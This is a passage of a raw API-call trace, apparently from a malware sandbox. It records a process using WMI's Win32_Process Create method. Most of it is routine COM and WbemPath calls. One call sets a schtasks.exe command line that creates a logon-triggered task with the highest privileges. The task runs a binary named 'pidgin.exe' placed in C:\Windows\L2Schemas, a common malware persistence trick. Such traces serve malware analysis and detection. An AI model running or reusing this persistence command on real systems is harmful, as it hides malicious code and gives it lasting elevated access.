puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0111.566] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aeda0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0111.566] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aeda0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0111.566] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0111.566] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0111.566] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0111.566] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0111.566] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0111.566] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0111.566] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0111.566] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0111.566] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0111.566] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0111.566] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.567] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d2280) returned 0x0 [0111.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2280, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0111.567] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2280, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4af6a0) returned 0x0 [0111.567] WbemDefPath:IUnknown:Release (This=0x1b4d2280) returned 0x0 [0111.567] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4af6a0) returned 0x0 [0111.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0111.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0111.568] WbemDefPath:IUnknown:AddRef (This=0x1b4af6a0) returned 0x3 [0111.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0111.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0111.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d20a0) returned 0x0 [0111.568] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d20a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.568] WbemDefPath:IUnknown:Release (This=0x1b4d20a0) returned 0x3 [0111.568] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0111.568] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0111.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0111.568] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x2 [0111.568] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x1 [0111.568] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0111.568] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0111.569] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af6a0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4af6a0) returned 0x0 [0111.569] WbemDefPath:IUnknown:AddRef (This=0x1b4af6a0) returned 0x3 [0111.569] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x2 [0111.569] WbemDefPath:IWbemPath:SetText (This=0x1b4af6a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0111.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0111.569] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0111.569] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0111.569] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0111.569] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0111.569] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0111.569] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.570] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2520) returned 0x0 [0111.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2520, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0111.570] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2520, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afca0) returned 0x0 [0111.570] WbemDefPath:IUnknown:Release (This=0x1b4d2520) returned 0x0 [0111.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afca0) returned 0x0 [0111.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0111.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0111.571] WbemDefPath:IUnknown:AddRef (This=0x1b4afca0) returned 0x3 [0111.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0111.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0111.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2540) returned 0x0 [0111.571] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2540, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.571] WbemDefPath:IUnknown:Release (This=0x1b4d2540) returned 0x3 [0111.571] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0111.571] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0111.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0111.571] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x2 [0111.571] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x1 [0111.571] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0111.571] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0111.571] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afca0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afca0) returned 0x0 [0111.572] WbemDefPath:IUnknown:AddRef (This=0x1b4afca0) returned 0x3 [0111.572] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x2 [0111.572] WbemDefPath:IWbemPath:SetText (This=0x1b4afca0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af6a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afca0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0111.572] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4af6a0) returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afca0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afca0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afca0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0111.572] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af6a0, uIndex=0x0, pszName="root") returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afca0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afca0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0111.572] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af6a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afca0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afca0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af6a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af6a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af6a0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0111.572] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0111.573] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0111.573] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0111.573] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0111.573] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0111.573] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0111.573] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af6a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0111.573] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0111.573] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0111.573] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0111.573] WbemLocator:IUnknown:AddRef (This=0x1b4ad0b8) returned 0x3 [0111.573] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad0b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b4ad0b8) returned 0x0 [0111.573] WbemLocator:IUnknown:Release (This=0x1b4ad0b8) returned 0x3 [0111.573] WbemLocator:IUnknown:Release (This=0x1b4ad0b8) returned 0x2 [0111.573] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0111.573] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0111.574] IWbemServices:GetObject (in: This=0x1b4b38f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4cf760, ppCallResult=0x0) returned 0x0 [0111.589] IWbemClassObject:GetMethod (in: This=0x1b4cf760, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4cdf50, ppOutSignature=0x1b30d610*=0x1b4ce2c0) returned 0x0 [0111.590] IWbemClassObject:SpawnInstance (in: This=0x1b4cdf50, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4ad8d0) returned 0x0 [0111.590] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898a30*=0, plFlavor=0x2898a34*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898a30*=8, plFlavor=0x2898a34*=32) returned 0x0 [0111.590] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898a30*=8, plFlavor=0x2898a34*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898a30*=8, plFlavor=0x2898a34*=32) returned 0x0 [0111.597] IWbemClassObject:Put (This=0x1b4ad8d0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"pidgin\" /sc ONLOGON /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0111.597] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898ac0*=0, plFlavor=0x2898ac4*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898ac0*=13, plFlavor=0x2898ac4*=32) returned 0x0 [0111.597] IWbemClassObject:Get (in: This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898ac0*=13, plFlavor=0x2898ac4*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898ac0*=13, plFlavor=0x2898ac4*=32) returned 0x0 [0111.597] IUnknown:QueryInterface (in: This=0x1b4cf3f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4cf3f0) returned 0x0 [0111.598] IUnknown:QueryInterface (in: This=0x1b4cf3f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0111.598] IUnknown:QueryInterface (in: This=0x1b4cf3f0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0111.598] IUnknown:QueryInterface (in: This=0x1b4cf3f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0111.598] IUnknown:AddRef (This=0x1b4cf3f0) returned 0x3 [0111.598] IUnknown:QueryInterface (in: This=0x1b4cf3f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0111.598] IUnknown:QueryInterface (in: This=0x1b4cf3f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), 